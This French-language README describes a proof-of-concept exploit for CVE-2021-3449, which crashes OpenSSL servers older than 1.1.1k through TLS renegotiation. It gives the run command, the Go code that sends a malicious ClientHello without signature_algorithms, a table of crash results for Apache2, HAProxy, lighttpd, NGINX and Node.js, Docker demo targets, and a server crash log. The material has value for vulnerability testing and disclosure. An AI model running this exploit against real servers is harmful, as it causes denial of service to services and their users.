
CVE-2021-3449 exploit de déni de service OpenSSL 👨🏻💻
Utilisation : go run . -host hostname:port
Ce programme implémente un exploit de type preuve de concept de CVE-2021-3449 affectant les serveurs OpenSSL antérieurs à 1.1.1k si la renégociation sécurisée TLSv1.2 est acceptée.
Il se connecte à un serveur TLSv1.2 et initie immédiatement une « renégociation sécurisée » RFC 5746.
L'attaque implique un ClientHello malveillant qui provoque le crash du serveur
en causant un déréférencement de pointeur NULL (déni de service).
Ce problème a été signalé à OpenSSL le 17 mars 2021 par Nokia. Le correctif a été développé par Peter Kästle et Samuel Sapalski de Nokia.
La seule correction connue consiste à mettre à jour libssl1.1.
Même si certaines applications utilisent par défaut des configurations TLS durcies qui désactivent la renégociation TLS, elles restent affectées par le bogue si elles exécutent une ancienne version d'OpenSSL.
main.go est un petit script qui se connecte à un serveur TLS, force une renégociation, puis se déconnecte.
Le code de l'exploit a été injecté dans une version groupée du paquet encoding/tls de Go 1.14.15.
Vous pouvez le trouver dans handshake_client.go:115. La logique est explicite.
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
– @terorie
Le répertoire demo/ contient la configuration nécessaire pour patcher diverses applications avec une version vulnérable d'OpenSSL.
Procédure de test :
Prérequis :
build-essential (Perl, GCC, Make)Remarque : Aucun des serveurs web listés n'est vulnérable à CVE-2021-3449 avec OpenSSL 1.1.1k ou une version ultérieure.
| Serveur | Distribution | Version | Démo | Résultat |
|---|---|---|---|---|
| OpenSSL s_server | - | 1.1.1j | make demo-openssl | Plantage |
| Apache2 | Ubuntu 18.04 | 2.4.29 | make demo-apache2 | Plantage partiel |
| HAProxy | Ubuntu 18.04 | 1.8.8 | make demo-haproxy | Plantage |
| HAProxy | Ubuntu 20.04 | 2.0.13 | make demo-haproxy | Aucun effet |
| lighttpd | Ubuntu 18.04 | 1.4.55 | make demo-lighttpd | Plantage |
| lighttpd | Ubuntu 20.04 | 1.4.55 | make demo-lighttpd | Plantage |
| lighttpd | Ubuntu 21.04 | 1.4.59 | make demo-lighttpd | Aucun effet avec l'option de configuration |
| NGINX | Ubuntu 18.04 | 1.14.0 | make demo-nginx | Plantage partiel |
| NGINX | Ubuntu 20.04 | 1.18.0 | make demo-nginx | Aucun effet |
| Node.js <=12 | Ubuntu 18.04 | Aucun effet | ||
| Node.js >12 | Ubuntu 18.04 | ? | make demo-nodejs | Plantage |
| Node.js >12 | Ubuntu 18.04 | 15.14.0 | make demo-nodejs | Aucun effet |
Pour nettoyer toutes les ressources de la démo, exécutez make clean.
openssl s_server est une implémentation minimale de serveur TLS.
make demo-openssl : Exécution complète (port 4433)make -C demo build-openssl : Construire l'image Docker ciblemake -C demo start-openssl : Démarrer la cible sur le port 4433make -C demo stop-openssl : Arrêter la cibleRésultat : plantage complet du serveur.
Journaux
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello
[[truncated]]
Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
Le serveur web Apache2 httpd avec sa configuration par défaut est vulnérable.
make demo-apache : Exécution complète (port 443)make -C demo build-apache : Construire l'image Docker ciblemake -C demo start-apache : Démarrer la cible sur le port 443make -C demo stop-apache : Arrêter la cible